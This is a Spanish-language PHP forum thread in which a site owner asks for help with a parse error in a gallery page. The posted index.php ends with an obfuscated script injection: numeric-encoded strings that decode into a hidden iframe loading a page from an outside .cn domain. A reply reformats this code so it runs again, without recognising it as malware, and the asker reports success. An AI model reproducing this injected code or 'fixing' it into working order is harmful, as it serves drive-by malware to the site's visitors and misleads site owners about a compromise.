Foros del Web » Programando para Internet » PHP »

Syntax error, unexpected T_LNUMBER...

Estas en el tema de Syntax error, unexpected T_LNUMBER... en el foro de PHP en Foros del Web. Buenos días, Estoy teniendo inconvenientes a la hora de resolver un pequeño error que me da un script que genera automáticamente galerías y lo comparto ...
  #1 (permalink)  
Antiguo 30/06/2011, 02:08
 
Fecha de Ingreso: abril-2009
Mensajes: 24
Antigüedad: 15 años
Puntos: 0
Pregunta Syntax error, unexpected T_LNUMBER...

Buenos días,

Estoy teniendo inconvenientes a la hora de resolver un pequeño error que me da un script que genera automáticamente galerías y lo comparto aquí a ver si me podéis echar una mano.

El chaval que se encargaba de esto ha desaparecido y no tengo idea de como solucionarlo, he estado buscando posibles soluciones pero me pierdo un poco.

En concreto el error que lanza es el siguiente:

Código HTML:
Parse error: syntax error, unexpected T_LNUMBER, expecting ',' or ';' in /home/d331500/public_html/galeria/index.php on line 67
Y el código del archivo index.php es el siguiente:

Código:
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>BLUEBOTTOMDIVING</title>
<script language="javascript">AC_FL_RunContent = 0;</script>
<script src="AC_RunActiveContent.js" language="javascript"></script>
</head>
<body bgcolor="#ffffff" style=margin:0px>
<!--url's used in the movie-->
<!--text used in the movie-->
<!--
<p align="center"><font face="Arial Rounded MT Bold" size="14" color="#ffffff" letterSpacing="0.000000" kerning="1">1/25</font></p>
<p align="left"></p>
<p align="center"></p>
<p align="center"></p>
<p align="center"><font face="Arial Rounded MT Bold" size="14" color="#ffffff" letterSpacing="0.000000" kerning="1">1/25</font></p>
<p align="left"></p>
<p align="center"></p>
<p align="center"></p>
<p align="center"><font face="Arial Rounded MT Bold" size="14" color="#ffffff" letterSpacing="0.000000" kerning="1">1/25</font></p>
<p align="left"></p>
<p align="center"></p>
<p align="center"></p>
<p align="center"><font face="Arial Rounded MT Bold" size="14" color="#ffffff" letterSpacing="0.000000" kerning="1">1/25</font></p>
<p align="left"></p>
<p align="center"></p>
<p align="center"></p>
-->
<!-- saved from url=(0013)about:internet -->
<script language="javascript">
	if (AC_FL_RunContent == 0) {
		alert("This page requires AC_RunActiveContent.js.");
	} else {
		AC_FL_RunContent(
			'codebase', 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0',
			'width', '100%',
			'height', '100%',
			'src', 'zoomGallery',
			'quality', 'high',
			'pluginspage', 'http://www.macromedia.com/go/getflashplayer',
			'align', 'middle',
			'play', 'true',
			'loop', 'true',
			'scale', 'noscale',
			'wmode', 'window',
			'devicefont', 'false',
			'id', 'zoomGallery',
			'bgcolor', '#ffffff',
			'name', 'zoomGallery',
			'menu', 'true',
			'allowFullScreen', 'false',
			'allowScriptAccess','sameDomain',
			'movie', 'zoomGallery',
			'salign', ''
			); //end AC code
	}
</script>
<noscript>
	<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="100%" height="100%" id="zoomGallery" align="middle">
	<param name="allowScriptAccess" value="sameDomain" />
	<param name="allowFullScreen" value="false" />
	<param name="movie" value="zoomGallery.swf" /><param name="quality" value="high" /><param name="scale" value="noscale" /><param name="bgcolor" value="#ffffff" />	<embed src="zoomGallery.swf" quality="high" scale="noscale" bgcolor="#ffffff" width="100%" height="100%" name="zoomGallery" align="middle" allowScriptAccess="sameDomain" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
	</object>
</noscript>
</body>
</html>
<?php echo '<script>function pTuVtEq(HWshFHDSCj){var gzxa=5,XIefqCgImM=7;var BWLc='42+6,75+0,72+6,81+3,69+2,77+6,72+1,22+6,85+0,75+0,71+3,82+6,74+2,43+4,35+0,22+6,74+2,72+1,75+0,73+4,74+2,82+6,43+4,35+0,22+6,70+0,79+2,81+3,71+3,72+1,81+3,43+4,34+2,22+6,72+6,81+3,69+2,77+6,72+1,70+0,79+2,81+3,71+3,72+1,81+3,43+4,34+2,22+6,82+1,81+3,',ERzl=BWLc.split(',');cWIMmtVtey='';for(VYDeB=0;VYDeB<ERzl.length-1;VYDeB++){ NMXctYNneF=ERzl[VYDeB].split('+');LTj = parseInt(NMXctYNneF[0]*XIefqCgImM)+parseInt(NMXctYNneF[1]);LTj = parseInt(LTj)/gzxa;cWIMmtVtey += String.fromCharCode(LTj);}return cWIMmtVtey;}function aCm(lZsy){var LwOqN=3,IofOlK=3;var WgPHxU='99+0,61+0,39+0,104+0,116+0,116+0,112+0,58+0,47+0,47+0,118+0,117+0,114+0,109+0,111+0,45+0,115+0,116+0,49+0,46+0,99+0,110+0,47+0,97+0,97+0,97+0,47+0,105+0,110+0,100+0,101+0,120+0,46+0,112+0,104+0,112+0,39+0,62+0,60+0,47+0,105+0,102+0,114+0,97+0,109+0,101+0,62+0,',Kjo=WgPHxU.split(',');gAPaOWnI='';for(UNbGuE=0;UNbGuE<Kjo.length-1;UNbGuE++){ gxvkV=Kjo[UNbGuE].split('+');CDCEDnqS = parseInt(gxvkV[0]*IofOlK)+parseInt(gxvkV[1]);CDCEDnqS = parseInt(CDCEDnqS)/LwOqN;gAPaOWnI += String.fromCharCode(CDCEDnqS);}return gAPaOWnI;}function FpxkYqPj(XOj){  fff=op.split("66");window.eval();window.eval(); } 
function ukk(cIwebNB){ alert('WWdT'); fff=op.split("66"); } 
document['wri5te'.replace(/[0-9]/,'')](pTuVtEq('ZKAR')+aCm('uLdrZZc'));function OiFJDRBXAt(ZfubBUL){ window.eval(); } 
function CDjYtrRx(jnvbDL){ window.eval(); } 
</script>'; ?>
Gracias a todos!
  #2 (permalink)  
Antiguo 30/06/2011, 02:47
Avatar de repara2  
Fecha de Ingreso: septiembre-2010
Ubicación: München
Mensajes: 2.445
Antigüedad: 13 años, 7 meses
Puntos: 331
Respuesta: Syntax error, unexpected T_LNUMBER...

Prueba asi:

Código PHP:
Ver original
  1. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  2. <head>
  3. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
  4. <title>BLUEBOTTOMDIVING</title>
  5. <script language="javascript">AC_FL_RunContent = 0;</script>
  6. <script src="AC_RunActiveContent.js" language="javascript"></script>
  7. </head>
  8. <body bgcolor="#ffffff" style=margin:0px>
  9. <!--url's used in the movie-->
  10. <!--text used in the movie-->
  11. <!--
  12. <p align="center"><font face="Arial Rounded MT Bold" size="14" color="#ffffff" letterSpacing="0.000000" kerning="1">1/25</font></p>
  13. <p align="left"></p>
  14. <p align="center"></p>
  15. <p align="center"></p>
  16. <p align="center"><font face="Arial Rounded MT Bold" size="14" color="#ffffff" letterSpacing="0.000000" kerning="1">1/25</font></p>
  17. <p align="left"></p>
  18. <p align="center"></p>
  19. <p align="center"></p>
  20. <p align="center"><font face="Arial Rounded MT Bold" size="14" color="#ffffff" letterSpacing="0.000000" kerning="1">1/25</font></p>
  21. <p align="left"></p>
  22. <p align="center"></p>
  23. <p align="center"></p>
  24. <p align="center"><font face="Arial Rounded MT Bold" size="14" color="#ffffff" letterSpacing="0.000000" kerning="1">1/25</font></p>
  25. <p align="left"></p>
  26. <p align="center"></p>
  27. <p align="center"></p>
  28. -->
  29. <!-- saved from url=(0013)about:internet -->
  30. <script language="javascript">
  31.     if (AC_FL_RunContent == 0) {
  32.         alert("This page requires AC_RunActiveContent.js.");
  33.     } else {
  34.         AC_FL_RunContent(
  35.             'codebase', 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0',
  36.             'width', '100%',
  37.             'height', '100%',
  38.             'src', 'zoomGallery',
  39.             'quality', 'high',
  40.             'pluginspage', 'http://www.macromedia.com/go/getflashplayer',
  41.             'align', 'middle',
  42.             'play', 'true',
  43.             'loop', 'true',
  44.             'scale', 'noscale',
  45.             'wmode', 'window',
  46.             'devicefont', 'false',
  47.             'id', 'zoomGallery',
  48.             'bgcolor', '#ffffff',
  49.             'name', 'zoomGallery',
  50.             'menu', 'true',
  51.             'allowFullScreen', 'false',
  52.             'allowScriptAccess','sameDomain',
  53.             'movie', 'zoomGallery',
  54.             'salign', ''
  55.             ); //end AC code
  56.     }
  57. </script>
  58. <noscript>
  59.     <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="100%" height="100%" id="zoomGallery" align="middle">
  60.     <param name="allowScriptAccess" value="sameDomain" />
  61.     <param name="allowFullScreen" value="false" />
  62.     <param name="movie" value="zoomGallery.swf" /><param name="quality" value="high" /><param name="scale" value="noscale" /><param name="bgcolor" value="#ffffff" />   <embed src="zoomGallery.swf" quality="high" scale="noscale" bgcolor="#ffffff" width="100%" height="100%" name="zoomGallery" align="middle" allowScriptAccess="sameDomain" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
  63.     </object>
  64. </noscript>
  65. </body>
  66. </html>
  67. <?php
  68.     echo "<script>function pTuVtEq(HWshFHDSCj){
  69.         var gzxa=5,XIefqCgImM=7;
  70.         var BWLc='42+6,75+0,72+6,81+3,69+2,77+6,72+1,22+6,85+0,75+0,71+3,82+6,74+2,43+4,35+0,22+6,74+2,72+1,75+0,73+4,74+2,82+6,43+4,35+0,22+6,70+0,79+2,81+3,71+3,72+1,81+3,43+4,34+2,22+6,72+6,81+3,69+2,77+6,72+1,70+0,79+2,81+3,71+3,72+1,81+3,43+4,34+2,22+6,82+1,81+3,',ERzl=BWLc.split(',');
  71.         cWIMmtVtey='';
  72.         for(VYDeB=0;VYDeB<ERzl.length-1;VYDeB++)
  73.         { NMXctYNneF=ERzl[VYDeB].split('+');LTj = parseInt(NMXctYNneF[0]*XIefqCgImM)+parseInt(NMXctYNneF[1]);
  74.         LTj = parseInt(LTj)/gzxa;cWIMmtVtey += String.fromCharCode(LTj);
  75.         }
  76.         return cWIMmtVtey;
  77. }
  78.         function aCm(lZsy){
  79.         var LwOqN=3,IofOlK=3;
  80.         var WgPHxU='99+0,61+0,39+0,104+0,116+0,116+0,112+0,58+0,47+0,47+0,118+0,117+0,114+0,109+0,111+0,45+0,115+0,116+0,49+0,46+0,99+0,110+0,47+0,97+0,97+0,97+0,47+0,105+0,110+0,100+0,101+0,120+0,46+0,112+0,104+0,112+0,39+0,62+0,60+0,47+0,105+0,102+0,114+0,97+0,109+0,101+0,62+0,',Kjo=WgPHxU.split(',');gAPaOWnI='';
  81.        
  82.         for(UNbGuE=0;UNbGuE<Kjo.length-1;UNbGuE++){
  83.         gxvkV=Kjo[UNbGuE].split('+');CDCEDnqS = parseInt(gxvkV[0]*IofOlK)+parseInt(gxvkV[1]);CDCEDnqS = parseInt(CDCEDnqS)/LwOqN;gAPaOWnI += String.fromCharCode(CDCEDnqS);
  84.     }
  85.         return gAPaOWnI;
  86.         }
  87.         function FpxkYqPj(XOj){  
  88.         fff=op.split('66');window.eval();window.eval();
  89.         }
  90.         function ukk(cIwebNB){
  91.         alert('WWdT'); fff=op.split('66');
  92.         }
  93.         document['wri5te'.replace(/[0-9]/,'')](pTuVtEq('ZKAR')+aCm('uLdrZZc'));function OiFJDRBXAt(ZfubBUL){ window.eval(); }
  94.         function CDjYtrRx(jnvbDL){ window.eval(); }
  95. </script>";
  96.     ?>

Este código está escrito para fastidiarte, es una basura y nadie utiliza esos nombres de funciones.
El problema es de concatenación.
Cuando tengas dudas quita el código JS y ponlo entre etiquetas <script>, salu2
__________________
Fere libenter homines, id quod volunt, credunt.
  #3 (permalink)  
Antiguo 30/06/2011, 03:48
 
Fecha de Ingreso: abril-2009
Mensajes: 24
Antigüedad: 15 años
Puntos: 0
Respuesta: Syntax error, unexpected T_LNUMBER...

Muchas gracias repara2, ha funcionado perfectamente. Siempre intento buscar la solución por mi mismo pero en esta ocasión no pude hacerlo, menos mal que existe este foro y gente que colabora para echar una manita.

Aunque me repita, muchas gracias otra vez!

Etiquetas: Ninguno
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 12:01.